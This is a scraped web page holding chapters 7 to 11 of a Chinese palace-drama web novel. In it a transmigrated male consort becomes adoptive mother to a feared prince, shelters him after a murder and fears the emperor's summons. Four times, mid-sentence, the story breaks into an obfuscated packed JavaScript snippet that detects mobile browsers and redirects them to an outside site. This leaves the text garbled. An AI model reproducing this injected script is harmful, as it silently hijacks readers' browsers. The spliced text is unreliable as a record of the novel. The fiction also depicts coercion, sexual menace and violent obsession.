《我死遁后狗皇帝彻底疯了》 7. 第 7 章 07 隔日,清濯殿的门槛都快被送礼的人踏破了。 后宫中,除去一些原主狠狠得罪过的人,大部分人还是想要攀附沈家的。 沈玉衡看着这些成堆的贺礼,心里那叫一个愁。 系统冒出来,很是同情地说:【宿主,看来所有人都知道你和老皇帝先【哔——】再【哔——】了……】 沈玉衡急:“我不是!我没有!你个小坏系统不要乱说啊——” 虽然有点令人难以相信…… 但是他和老皇帝真的清清白白,即便侍寝了,也没有做任何该做的事情。 沈玉衡一面放心,一面又害怕老皇帝会让他再去侍寝一次。 应该不会吧? 宫里那么多貌美如花,想要攀附他的妃子,老皇帝又何必盯着他一个男妃不放呢? 刚想说放宽心别焦虑,就听到周源敲了敲门:“主子,御前太监方公公求见。” 沈玉衡听到这话,悬着的心一下就……死了。 看来老皇帝果然记得,他们昨天什么也没做! 在成好事前睡着,肯定是派人找他堵嘴算账来了! 沈玉衡惴惴不安地出门去了。 清濯殿门口已经热热闹闹,围满了来凑热闹的小宫女小太监。 看到沈玉衡来,人群立刻散去,让出了一条道。 御前太监方公公见沈玉衡来了,立刻满脸堆笑着挥了挥拂尘,让手下的小太监送上一份贺礼。 “这是今年西域进贡的玛瑙石,圣上已命工匠制成了手钏,还请沈妃收下。” 这是沈玉衡第一次收到圣上御赐的首饰,宫人们探头探脑地看过来,新奇的不得了。 只有沈玉衡一个人悄悄心虚。 他也没真的侍寝,怎么老皇帝还要送他礼物? 无功不受禄,他于心不安啊! 这还没完。 方公公道:“除此以外,圣上还打算送一份大礼给沈妃。” 他看了看四周,告诉宫人们:“还请九殿下也到场。” 闻言,芸豆和茭白立刻跑去找萧烬去了。 沈玉衡却想不明白,到底是什么“大礼”,需要萧烬在场才能接? …… 总感觉有一种不好的预感? - 芸豆和茭白快步跑到沈玉衡的寝殿,急着想把萧烬请过来。 然而,当看见萧烬那双目露凶光的眼睛,两人脸上的笑容一下就收了起来。 她们不敢不害怕萧烬; 听说九皇子被发现的时候,是从死人堆里捞出来,满身都是尸骸的血腥气味。 虽然没有人明面上说出口,但是人人都知道,要想在常年战乱,食物匮乏的边陲活下去,只有一个办法…… 一想到那种地狱般的画面,她们就害怕到浑身战栗。 两个小侍女你推我,我推你,终于是鼓起勇气上前—— “……九殿下,沈妃请您过去一趟。” “方公公来了清濯殿……说是圣上有一份贺礼,要九殿下与沈妃收下。” 萧烬听见“圣上”二字,嘴角斜了斜。 一大早就命人送贺礼来,看来父皇对沈妃很是满意。 眼前,一瞬间闪过沈玉衡按着他的手,涂抹膏体的动作。 那是萧烬少有的,仔细观察沈玉衡的脸的时候。 那张脸,那双眼睛; 不知道是不是也会像他母妃一样,在欲/望中扭曲狰狞? 萧烬嘴角那弯嘲笑的弧度,慢慢垂了下去。 - 沈玉衡焦灼不安地等了很久,总算等到了萧烬。 虽然不知道为什么,去接萧烬的芸豆茭白都瑟瑟发抖,不敢吭声的样子。 沈玉衡询问了两句,两个人却都拼命摇头。 这是怎么了?见了鬼了? 方公公见他们俩到齐,清了清嗓子—— “圣上口谕,九殿下生母早逝,如今养在清濯殿又已经有一段时日了。” “九殿下生母卑贱,既是如此,今后九殿下的母妃,便算在沈妃这儿了。” 短短两句话说完,全场死寂。 要是心情可以具象化,沈玉衡的头顶已经堆满了一串问号了。 不是、每个字他都听得懂,怎么连在一起就完全听不懂了呢?? 系统忍不住笑出声了:【卧槽哈哈哈哈哈恭喜宿主喜得一子!】 沈玉衡:“……” 卧、槽。 所以,萧烬以后……要变成他他儿子了?!! 方公公说完,躬了躬身,起驾离开。 只留下一脸懵逼的沈玉衡。 虽然让男妃成为一个皇子的生母,听起来有些荒谬,不过这对于没有子嗣的嫔妃来说,可是无上的殊荣。 宫人们已经按捺不住,窃窃私语地议论。 “以往圣上一直不过问九殿下的事,今日这是怎么了?” “看来传闻是真的了……星象已变,圣上不再疏远九殿下了。” 沈玉衡本人简直莫名其妙。 老皇帝到底什么意思?侍寝当晚倒头就睡,醒来直接赐手钏,还附送一个儿子?? 不过他很快又想开了。 老皇帝没有让他再去侍寝,说不定是睡糊涂了,忘记了昨天的事也说不定。 按照宫里嫔妃的数量来说……沈玉衡下一次侍寝,至少要排到明年。 至于给萧烬当母妃的这件事…… 当儿子的人是萧烬,又不是他; 给萧烬当后妈,论辈分,他还赚了。 沈玉衡险些被自己逗乐了。 “芸豆。”他喊来侍女:“你们去内务府多取些东西回来,九殿下往后就是我儿子了,可别亏待了他。” 侍女们立刻照办,没人觉得这要求提的不对。 沈玉衡更加觉得这个名号十分方便。 原主虽然厌恶萧烬,但如今她是萧烬的母妃,帮助他自然不会令人起疑。 不过,萧烬呢? 沈玉衡左顾右盼地找了一会儿,也没看见萧烬的人影。 系统探出头,弱弱地说:【宿主别找了……刚刚萧烬带着一张很恐怖的脸走掉了……】 说完,系统又给他点了几个小蜡烛。 突然想起某段重要剧情的沈玉衡:“……” 卧槽。 他好像要凉啊??? - 原书剧情里,在萧烬参与夺嫡之前,从来没有人能料想到,他也有入场夺嫡的资格。 毕竟萧烬的生母——林氏身份卑微,是人人唾弃的罪臣之女; 据说她在冷宫里得了疯病,竟然暴起伤人,袭击前来探望她的二皇子,因此被老皇帝赐了白绫。 然而,事实却并非如此。 林氏被赐白绫的原因……其实是因为,她与二皇子萧棋越了界。 详细的前因后果,沈玉衡也不清楚,但是唯一能确认的事是,林氏是被萧棋强迫的。 年幼的萧烬和母亲一同住在冷宫,还懵然无知的年纪,被迫看着那一幕幕违背人伦的画面。 沈玉衡读原著的这段,心里很不是滋味。 萧烬当时的年纪,不过才五六岁…… 沈玉衡猜,就是因为这个原因,萧烬才在登基后,把二皇子一党全部绞杀,一个也没放过。 而现在…… 因为剧情变化,沈玉衡居然成了萧烬名义上的“母妃”。 万一沈玉衡一个没表现好,萧烬这个疯批小孩说不定会觉得他玷污了“母妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈玉衡吓得猛退几步,在闻到那人身上浓重的血腥气后,瞬间喊出了声:“周源!!来人——” “闭嘴!”那人猛地把他按在地上,一只手死死捂住他的嘴,连一丝丝的缝隙都没留。 沈玉衡呼吸不过来,拼命捶打着那人的手臂,恍惚间在那人手上闻到了一股熟悉的……脂膏的香气。 沈玉衡感觉心跳都停了一拍。 几乎是下一秒,周源的声音就在门口响起:“主子?主子!里面有其他人吗?” 沈玉衡后撤几步,不可置信地看着他面前浑身是血的萧烬。 门外,周源没得到回应,敲门敲的越来越急:“主子?!” 过了半晌,屋里终于传来沈玉衡的声音:“别进来,我没事。” 周源不放心,问:“刚才是……?” “只是摔了一下而已,没什么事。” “……那就好。”周源松了口气:“主子,今夜宫里不安分,请千万小心。我稍后再多派些人手来守着……” “宫里怎么了?” 隔着一扇门,周源叹了口气,压低声音:“……方才,十六殿下在自己的寝殿被人所害!圣上大怒,宫门已经落了锁,势必要在今夜抓出凶手!” 像是为了印证周源的话,下一秒,一队人马就急急闯过清濯殿外的宫道,声势浩荡。 沈玉衡:“……” 他看向了面前浑身是血,浸满了赤红腥气的少年。 哦豁,凉凉。 8. 第 8 章 08 原书里,十六殿下遇刺应该是两个月后的事,而且当时搜宫抓出的刺客,只是一个伪装成宫女潜入的杀手。 然而,沈玉衡面前的萧烬,此时此刻这一身鲜血淋漓的样子…… 简直就是在脸上写了“我是凶手”四个大字。 沈玉衡怔愣了片刻,第一反应是去剥掉萧烬的衣物。 萧烬吃了一惊,低吼着后退:“你干什么!” “想活命就闭嘴!” 都什么时候了,这死孩子怎么还在闹别扭?! 萧烬被他吼得一顿,沾了血的衣服被顺势全部扯了下来。 沈玉衡送他的衣服,布料的确是上上乘,连染了血的残片都那么华丽漂亮。 把带血的衣服藏在柜子的暗格里,沈玉衡才发现萧烬未只剩一件洗的发白破旧的亵衣。 他耻辱地咬紧牙关,瞪着沈玉衡,像是只被逼到绝境的困兽。 萧烬大概从来没经历过这么耻辱的时刻,被剥光衣服,又被沈玉衡这个大仇人捏住了性命攸关的把柄。 ……而且他现在得喊这个大仇人一声妈。 紧张到这种时候,沈玉衡竟然还噗嗤一声笑出了声。 无视萧烬黑的像是要杀人的脸色,他给萧烬换上一件白色单衣。虽然有些单薄,但好歹能蔽体。 感觉到沈玉衡那双手在自己身上摸来摸去,萧烬几乎快疯了。 沈玉衡到底在玩什么亲子游戏? 他不会真的以为,父皇中意于他,是因为照顾了他? 说到底,他父皇居然会对一个男妃感兴趣…… 也对,那老皇帝一向喜欢这种空有皮囊的蠢货。 昨夜,他联络手下,接取情报时,远远看见养心殿的灯火未熄……不知为何就着了魔般地去了。 也许他是想亲眼看看,沈玉衡那张假装温柔的可笑的脸,沦陷在泥泞里的丑态。 可是到了窗边,萧烬却并没有看到预想中的画面。 窗纸狭窄的洞口里,他窥探到沈玉衡为床上的男人掖好被角。 那么傲慢的一个人,离开时竟是小心翼翼,百般谨慎的模样。 一想到他刚刚竟被……萧烬的手就止不住地颤抖,想要掐灭自己疯狂的幻想。 沈玉衡还一点不知道萧烬脑袋里一幕幕闪过的,全都是些不堪入目的画面。 他帮萧烬换好衣服,匆匆擦去地上的一滩血迹。 外面的嘈杂声越来越近。 虽然沈玉衡已经跟周源叮嘱过,不许任何人闯入清濯殿,但是人群的脚步声很快就逼至了殿门口。 恐怕是追着血迹来的吧。 虽然周源他们已经去阻拦了,但听情况,应该拦不了多久。 沈玉衡拦住想要翻窗离开的萧烬:“人,是你杀的?” “不是。”说完,萧烬自嘲地勾了勾唇:“——你信吗?” “有什么不信的。” 他知道,萧烬虽然残暴,但他只杀与自己有仇的人。 十六皇子性格温良,从未与萧烬有什么交际。原书的萧烬登基以后,他仍然活得好好的。 杀十六皇子的,不可能是萧烬。 - 屋外,敲门声已经又响了数次,一个拳头不断砸着门,声色俱厉:“沈妃可在?” 周源皱了皱眉,上前劝道:“几位,已经入夜,还请放低些声音……” 砸门的男人回过头,戏谑的眼神打量着周源:“我们可是奉皇命来的,几个阉人还想阻拦?” 他们是十六皇子养的护卫,如今群狼失去了头领,又肩负找出刺客的重任,个个都天不怕地不怕。 正僵持时,门扉忽然从里面被打开。 沈玉衡打了个哈欠,漫不经心地从屋里走出来。 他环抱双臂,打量了一眼外面气势汹汹的这群人:“这是在干嘛?” 刚刚还在砸门的男人看见沈玉衡,态度一下子放软了许多:“十六殿下在宫中遇刺,刺客至今下落不明,沈妃今夜可看到什么可疑的人?” 沈玉衡直截了当地答:“没有。” “是吗?”男人目光探究,看向藏在沈玉衡背后的萧烬:“我们追着血迹至此,听你宫里的人说,九殿下今夜迟迟未归……” 沈玉衡把萧烬护的更紧了一些:“谁胡说的?九殿下一直在我这里待着,他要是杀了人,我能不知道?” 说出这话的时候,沈玉衡自己都悄悄打了个哆嗦。 其实他胆子不算大,不敢蹦极不敢跑酷不敢违法乱纪,比谁都要惜命。 但没办法,谁叫他穿书了还要带孩子呢? 为母则刚啊为母则刚。 ……等会儿,这词是这么用的来着吗? 好在这群人到底不敢冒犯,一群人在清濯殿周围搜了一圈无果,只能离开。 沈玉衡见他们走了,长长舒了口气。 总算是度过一关。 宫人们纷纷散去,只有周源和芸豆,茭白知道内情。 宫中闹刺客的时候,九殿下的确不在,而血迹又确实指向了清濯殿…… 他们满脸写着担忧,不知道该不该提起此事。 看见沈玉衡又要阖上门扉,还是和萧烬独处一室,周源不惜冒死上前:“沈妃,九殿下他……” “不是他做的。” 沈玉衡轻声打断了周源,扫了一眼众人:“九殿下和今天这件事没有关系,你们记住这一点。” “……是。”宫人们默默退了下去。 - 十六皇子的护卫得了圣上的允许,继续前往别的宫殿,搜寻刺客的下落。 他们这儿暂且算是安全了。 沈玉衡把门窗紧闭,确认没有人在屋外,才敢小声问他:“十六皇子既然不是你杀的,你上哪儿弄的一身血?” “……”萧烬目视前方,额前的黑色刘海细碎摇曳。 下一秒,他双眼闭上,身体也斜歪着向前栽倒。 沈玉衡忙扶住他。 手下握着的手臂是烫的。 萧烬身上这件衣服又被染脏了。他身上密密麻麻落下好几处刀伤,拖的有点久,流出来的鲜血都发着乌黑的颜色。 萧烬的身体常年缺乏营养,伤口自愈的速度很慢,额头也开始发烫了。 沈玉衡把萧烬的症状一一写下,让侍女去找许太医抓药。 他托侍女转达许太医,事出有因,这些用药千万不要记在太医院的账上。 许太医曾经是他父亲营中的一名军医,和他父亲是过命的交情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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【宿主……】系统激动极了:【呜呜呜呜你真的太靠谱了!!!我宣布你就是救赎高手!!!】 沈玉衡正骄傲呢,忽然,一个小小的力道扯住他的衣袍一角。 他吓得险些弹起,一看,才发现是萧烬伸手抓住了他。 少年手腕细瘦苍白,手指牢牢嵌入他的衣角,没有一丝血色的嘴唇喃喃着听不清的词语。 沈玉衡听了几秒,才听见一声小小的:“母妃……” 沈玉衡一愣。 萧烬这是又梦魇了? 他试着拨开少年的手,然而萧烬的手死死抓紧,怎么也不肯松开,也不知道梦里哪来这么大的力气。 说到底,一年后那个让世人闻风丧胆的暴君还没出现,现在的萧烬还只是一个发烧都需要人照顾的孩子。 照顾孩子而已,他可是专业人士。 他轻拍了拍萧烬的肩头,规律的节奏下,柔声道:“母妃在。” 系统十分欣慰地感慨:【宿主也是当妈的人了】 沈玉衡:“……” 滚啊—— 9. 第 9 章 09 宫中灯火一夜未歇。 宫里人心惶惶,都说十六皇子是死于夺嫡之争。 虽然谁也不敢明说,但二皇子萧棋无疑是嫌疑最大的那一个。 沈玉衡也觉得,凶手多半就是萧棋了。 这些年来,宫中意外夭折的皇子不计其数,一旦崭露头角和锋芒,不久后便会发生“意外”。 萧棋天性残忍,又遗传了老皇帝的多疑,对兄弟手足一直保持着“露头就秒”的态度。 如今十六皇子刚满十二岁,正准备跟随老皇帝与群臣外出秋猎,还未出发就遭遇不幸…… 沈玉衡还在思考该如何对付萧棋,周源忽然急急忙忙跑过来:“沈妃,二殿下要求进殿探望九殿下,人已经候在外头了!” 沈玉衡:“……” 真是怕什么来什么!! 沈玉衡看了眼床榻上仍在昏睡的萧烬,替他拢了拢被角:“请他们进来吧。” 不多时,杂乱的脚步声踏入了寝殿内。 沈玉衡一边道了声“见过二殿下”,一边凭余光看向萧棋。 这位踔厉风发的二皇子殿下如今已经三十多岁,强大的精神气下,潜藏着一股狂热的暗流,注视着每一个可能与他为敌的对象。 “又见面了,沈妃。”萧棋上前一步,漫不经心地问:“小九的伤怎么样了?” ……X的,这是第一句话就想诈他! “什么伤?”沈玉衡懒洋洋地抬了抬眉毛,假装不耐烦:“九殿下是病了,不曾受伤,二殿下怕是记错了吧。” “是吗。”萧棋看了看病榻上的少年,脸颊微红发热的样子,手脚却是病白冰冷的。 看样子不是装的。 萧棋心里嗤笑。 老九竟然当真是个病秧子废物,看来自己之前的提防倒是多余。 他将视线轻轻一转,盯着沈玉衡散漫倚靠在床榻前的纤细背影。 不过,萧棋听说,老皇帝不仅宠幸了一个男妃,还让他当了九皇子的后妈。 要是换做从前,众人定是不敢相信的。 老皇帝迷信星象之说,为了冲喜祛邪,才迎娶了一批男妃进宫。 虽然也曾宠幸过许多男妃,不过老皇帝那喜新厌旧的毛病,他们是最清楚不过的。 再说,男妃终究是男子之身,哪里比得上女子千娇百媚? 老皇帝很快就厌倦了,再没碰过哪个男妃,如今却主动召幸这个沈妃,似乎很是钟意的意思…… 再看沈玉衡,和传闻里那个打扮妖艳,穿金戴银的沈妃不同,他面前这个男子一身浅青色的宽松衣衫,用一条月白色镶玉的腰带堪堪固定着。 看似包裹的严实,却隐隐约约露出洁白手臂的一截,令人浮想联翩。 随便找了个借口离开清濯殿,随从问萧棋:“关于沈妃,殿下看出什么了没有?” 萧棋摇头。 如今他的敌人已经尽数扫平,太子之位悬而未定,老皇帝却迟迟不肯放权,甚至还在一心钻研长生之术。 他在烦躁中想起沈玉衡露出的那一截白皙手臂,落在日光的光斑下,晃得人睁不开眼。 “……不过是个漂亮玩意。”萧棋抬了抬手:“圣上既然喜欢,你们把他多多送过去就是。” - 萧烬连着昏迷了两日。 沈玉衡照顾他时,发现萧烬的梦魇真就挺严重的。 有时是无人能听清的喃喃自语,有时则是寒颤着出了一身的冷汗,仿佛在梦中被什么追逐似的,身体止不住地颤抖。 想要喂药的时候,也总是唇齿紧闭,连梦中都不曾放松过警惕。 沈玉衡正发愁,就听到系统阴暗爬行过来:【宿主,这种情况……我通常会建议你嘴对嘴喂药……】 沈玉衡:“……” 哪来的lsp! 许太医中途来看过一次,也没有喂药的办法,只能暂且放着,等他醒来再说。 许太医:“沈妃放心,九殿下的头热已经恢复一些了,今日晚些时候便能醒了。” 沈玉衡微微点头,送许太医出去的时候,周源又忙不迭赶来,笑脸盈盈地送信:“沈妃,方公公来传话了!” 看见周源和他身后一圈宫女喜笑颜开的样子,沈玉衡心里咯噔一声。 不会……吧?应该不会吧? 沈玉衡努力镇定下来,问周源:“……到底什么事?” 众人脸上的笑容更大了一分,周源告诉他:“圣上今晚又翻了您的牌子,只等天一黑,承露车就载您过去呢。” 别说天黑了,沈玉衡现在眼睛已经黑了。 ……不是吧?!怎么还来?? 沈玉衡差点没站稳,周源赶紧扶住他,还以为他是太过激动。 等他才缓过来一点,周源又说:“沈妃,圣上又新赏赐了许多华服和首饰……” 沈玉衡闭了闭眼。 周围的宫人们满心欢喜,没人懂他现在的心情。 上次因老皇帝睡着,他侥幸逃过。 可这次呢? 总不能老皇帝又睡着吧? 系统还在猜测:【做出上次这样丢人的事情,老皇帝还要再召宿主你过去,说不定他是真心喜欢你的……】 沈玉衡:“……” 他回忆了一下老皇帝的长相,不丑,甚至在他这个年纪算是挺好看,皮肤保养的也很好…… 但他长得实在太像鬼了。 还是那种在烟雾弥漫的山里游荡的白衣男鬼。 沈玉衡想想都怕。 - 萧烬苏醒的时候,浑身疼的像是被车轮碾过似的,骨头几乎都快碎了。 他撑着身体坐起来,眼睛还未睁开,就下意识去寻找被单下藏匿的刀子。 手心之下,却只有一片柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364822|152992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软的触感。 发现自己那把淬毒的刀不见了,萧烬眼神一沉。 唯一留给他的,只有床边一碗乌黑粘稠的汤药,还有一张微微粗糙的信纸,上面写着几个秀气清楚的小字—— “记得喝药。” 他昏迷的这段时间,似乎是沈玉衡在照顾他。 萧烬隐约能想起他抚摸自己额头的触感。 过去那个,萧烬一直以来认识的沈玉衡,是绝不可能做这种事的。 沈玉衡再愚蠢,总不至于真的以为,他一个男人,可以做谁的母妃。 药碗放在桌面上,萧烬看了它最后一眼,直接出门去了。 天色已暗,清濯殿里许多宫人已经歇息去了,只留下几人在屋前提灯守夜。 看见萧烬一袭漆黑单衣,突然出现,门外的芸豆茭白吓了一大跳。 旁边另几个小太监也赶紧噤声,躲在一边。 萧烬看也不看他们一眼,只问:“沈妃呢?” “……沈妃今日被翻了牌子,刚刚已乘着承露车前往养心殿了。” - 养心殿内。 沈玉衡穿着一件赤红色锦缎袍子,瑟瑟发抖的等待老皇帝出现。 这件艳如婚服的衣服,是老皇帝御赐给他,让他今日穿过来的。 除了沈玉衡自己,大概所有人都觉得,老皇帝对他算是相当宠爱了。 毕竟老皇帝荒淫随性,从不钟情于哪个嫔妃。 前一天还搂在怀里的美人,第二天就能忘得一干二净。 只有沈玉衡慌得一批。 无功不受禄,他不仅受了,还越受越多。 沈玉衡怕的是,这一切都是要还的。 想到这儿,他就忍不住发抖,悄悄往床角又缩了缩。 养心殿里除了他,没有任何人,连系统也已经休眠了,他想回原来的世界送死都做不到。 十几分钟前,系统帮他翻完了一整本书。 除了老皇帝的名字叫“萧槐”以外,其他的什么都帮不了他。 系统好心地告诉他:【按照原书的时间线,萧槐还有一年就会领便当,宿主你这一年先忍一忍……】 沈玉衡:“……” 多希望他此刻听不懂中文。 沈玉衡绝望地等在这里,祈祷萧槐能像上次一样莫名其妙倒头就睡。 不过…… 今晚,他等的实在有些太久了。 久到沈玉衡都有点犯困了。 他强撑着精神,脑袋一点一点的。 忍不住睡着了十几秒,再睁开眼时,一张超近距离的,男人白皙且没有血色、鬼气森森的脸,险些把他吓到尖叫破音。 见沈玉衡这么害怕,萧槐搂住他,音色暧昧又低沉:“沈妃是怕朕了?” 要不是惜命,沈玉衡真想拼命点头。 ……这位陛下,你真的很像男鬼。 10. 第 10 章 10 君心难测,沈玉衡根本不清楚萧槐在想些什么,只知道保命比什么都重要。 当然,保住他的处男之身也是很重要的。 沈玉衡灵机一动,道:“陛下操劳国事家事,臣给陛下揉揉肩。” 萧槐点点头,坐到床榻上,沈玉衡立刻飘到他身后,上手给他揉了揉肩膀。 萧槐的身体和他想象的不太一样,看似瘦弱到一吹就倒,实则按都按不动。 给他揉了两下肩膀,沈玉衡的手都有点酸。 干尸吗你! 好在萧槐半眯着眼,似乎是放松下来的样子。 沈玉衡小心翼翼地伺候着,连呼吸都和萧槐保持一致,听说这样能让彼此的精神放松,更容易睡着。 但萧槐今日偏就没有睡意。 “好了。”他忽然抬手,把沈玉衡轻轻推开:“沈妃今日如此操劳,朕颇感欣慰。” 他指了指床头:“将那碗药端过来。” 沈玉衡心下一喜,赶紧照做。 上次萧槐喝了那碗药,立刻就闷头睡了过去,这次看来也可以让他蒙混过关了。 沈玉衡期待萧槐能像某个沉睡的小X郎一样,总是间歇性失忆却毫不在意。 他端着药碗走到萧槐面前,忽然看见碗里装着的并不是上次那样乌黑粘稠的液体,而是一碗金黄色的药汤。 ……怎么不是上次那碗药了?!! 沈玉衡一下子就慌了。 他抬头,隔着屋子里越发浓郁的香雾,看不清萧槐此时的表情。 瘦长身材的男人比他年长太多,以至于沈玉衡面对他总有一分小心与戒备,像对待一个长辈。 ……虽然这个长辈现在是他名义上的男人。 沈玉衡小心翼翼,把药奉上。 萧槐却没接。 他坐在床榻上,长发落在身前身后,像是肆意生长的生命体。 他伸出修长的手指,撩开沈玉衡眼前柔软的一小缕发丝。 “……你兄长近日回京,给朕送了些滋补的草药,朕现在把它赐给你。” 萧槐点了点瓷碗,指甲和碗,碰出清脆的声音。 “沈妃,跪接吧。” 沈玉衡一愣。 谁喝?他喝? 他委婉道:“陛下,臣身体无恙,喝这些补药实在是浪费了……” 萧槐幽幽打断他的话:“怎么?沈妃莫不是不想喝?” 沈玉衡连忙摇头。 这可是御赐的补药,他哪里敢不喝。 而且他最怕的就是萧槐这样的语气,没有一丝语气的起伏,让人完全猜不到他下一步想做什么。 在萧槐的注视下,沈玉衡端起汤药,小口尝了一口…… 确实是草药的气味,不像是有毒。 他稍稍放心,闭上眼一饮而尽。 看见他喝完药,萧槐忽而弯起嘴角,拍了拍自己的膝:“乖孩子,上来吧。” 沈玉衡想起身,结果腿跪麻了,一下子扭了脚。 ……疼疼疼! 沈玉衡疼的眼睛眯起来了,萧槐握住他的双手,把他搀扶到床上来。 感觉到萧槐的脸靠近自己,沈玉衡呼出的气都在发抖:“陛下,臣……” 萧槐停下来,看了他一会。 他看沈玉衡发抖的厉害,轻轻拍了拍他的后腰,嘴里发出哄孩子般的声音。 沈玉衡愣住。 他没想到萧槐这个传闻中昏庸淫/乱的皇帝,居然也会做这样哄孩子的动作。 出乎意料的,有一种说不上来的心情。 ……像是父亲似的。 多大人了还被当小孩子对待,沈玉衡有点不好意思,不去看萧槐的脸,静静任他拍了一会,竟然真的没再发抖。 萧槐没有再接近他,扶着他躺下,说是沐浴后再回来。 沈玉衡点头,不过被这番哄过以后,他一下就有了困意。 之后萧槐是否有回来,他也记不清了,只记得恍惚间,似乎听见窗外传来一阵嘈杂吵闹的动静。 - 翌日。 沈玉衡醒来时,屋内一片漆黑,明亮的日光被窗纸阻隔了一半,只映入一片薄薄的光雾。 他恍恍惚惚坐起身子,看见自己身上不知何时换了一身衣服,有些慌神。 他迅速检查了一遍自己,好在他干干净净,衣服也还齐整,并没有被这样那样的痕迹。 沈玉衡长长长长松了一口气。 一定是他睡得太快,让萧槐觉得无趣了! 沈玉衡高兴的像发现了新大陆,盘算着以后该如何快速入睡,躲避侍寝。 系统检测到他苏醒,立刻就嘤嘤嘤地过来哭:【宿主!宿主你终于醒了!你一直醒不过来,我还以为你被老皇帝折磨的不行了……】 沈玉衡:“……” 不,其实他只是睡得比较久而已…… 系统关切地问:【宿主你还好吗?要不是穿书局有规定,不可以侵/犯宿主的隐私,我真想留下来陪陪你……】 沈玉衡连声道:“别别别,千万别。” 要是被别人看到他怕萧槐怕成那样,他这张脸还要不要了? 他下床想走,结果刚一踩到地上,就疼的拧起了眉。 哦对,差点忘了他把脚给扭了。 沈玉衡靠着墙,小心翼翼挪动着步子,这幅样子险些把养心殿的小宫女吓死,连忙派人来搀他出去。 听说他醒了,御前太监方公公立刻赶来送他。 不知道是不是错觉,沈玉衡感觉方公公今日谄媚的笑容格外灿烂。 宫人们搀他上轿辇的时候,方公公正训着抬轿辇的小太监们:“陛下上朝前,特地吩咐过,沈妃伤了脚,你们一定千万仔细着点!” 沈玉衡看这帮小太监十分重视小心的样子,又开始心虚了。 他们都以为他是什么受宠的妃子…… 其实他连侍寝都没侍过啊! 沈玉衡叹了口气,一转头,忽然发现养心殿外四处都是守卫,气氛十分紧张压抑。 他好奇地眨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364823|152992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眨眼。 什么情况? 沈玉衡叫来方公公,询问理由,方公公却只是呵呵笑。 “不是什么大事,沈妃不必挂心。” 明摆着是要敷衍他的意思。 沈玉衡哼哼。 返回清濯殿的这一路上,沈玉衡明显感觉周围的宫人们对他重视了很多,轿辇稳稳的,几乎让人感觉不到一丁点的晃动感。 估计等到回去以后,周源他们也要大惊小怪的。 沈玉衡这么想着,随着轿辇的队伍一拐角,忽然看见一个人站在殿门外。 红黑两色的长衫随风轻轻吹拂,少年身材单薄,一个人孤零零地站在那儿,在秋风里显得格外凄凉。 沈玉衡一愣,让抬轿的小太监快些过去。 他有点怀疑也有点担心,萧烬这孩子是不是脑袋不好? 头热还没好全,就站在风里,是盼着病不好呢? - 十月的风已经凉了一半,透着寒气,吹久了,头都是疼的。 沈玉衡刚被人搀下轿辇,萧烬就皱起了眉。 他的腿是怎么了? 侍寝……至于把腿也做成这样? 让沈玉衡受伤的多半是他父亲,萧烬却更恨沈玉衡。 沈玉衡似乎是看见了他眼底浓浓的恶意,一瞬间愣神,却又装作没看见的样子。 “……怎么等在这儿,不嫌风大?” 他拍拍萧烬的肩膀,示意他跟自己进去。 清濯殿的宫人们想要上前搀扶,却被沈玉衡拒绝了。 他其实只是崴了下脚,他们折腾的前后阵仗这么大,沈玉衡反而觉得别扭。 宫人们离开后,他先一步进殿,扶着墙慢慢往前走。 走出几步,他想起什么,侧头问萧烬:“用过早膳没?药都喝了吧?” “你把我的刀藏在哪儿了?” 萧烬突如其来这么一句话,害沈玉衡险些踉跄。 刀藏哪儿了……当然是丢了啊!! 萧烬把那种东西放在寝殿,迟早会变成凶器的吧!! 沈玉衡避开他的眼神:“我没见过什么刀子,你要那个干什么?又没写你的名字,也许是被宫里的谁扔了吧?” 萧烬:“……” 沈玉衡的回答,太普通了。 他努力想让自己显得刻薄,却像是模仿老虎的猫,张牙舞爪只学了个形。 沈玉衡越像个正常人,弥漫在他身边的那种诡异的割裂感,就越来越强。 凭什么他认识的那个沈玉衡,却是那个刻薄又恶心的东西? 凭什么他父亲要让沈玉衡侍寝时,沈玉衡却忽然成了个普通的老好人? 况且他的父亲,不过是个无能到会被权臣操纵,被皇子愚弄的昏君。 凭什么? 萧烬看着沈玉衡扶着墙,想要快些远离他却又做不到的踉跄步伐。 他想…… 突然想把他的脚腕重新折断一遍。 用他的痕迹,完全覆盖父亲的痕迹。 11.第 11 章 11 发现沈玉衡崴脚之后,清濯殿的宫人们都十分惶恐。 沈妃向来是金枝玉叶的身子,何况现在有皇帝的恩宠在。这样一个平日里连点擦伤都看不见的人,如今扭了脚,所有人几乎是提足了精神把他供着。 芸豆和茭白更是忙前忙后,帮着上药敷药,急得不行。 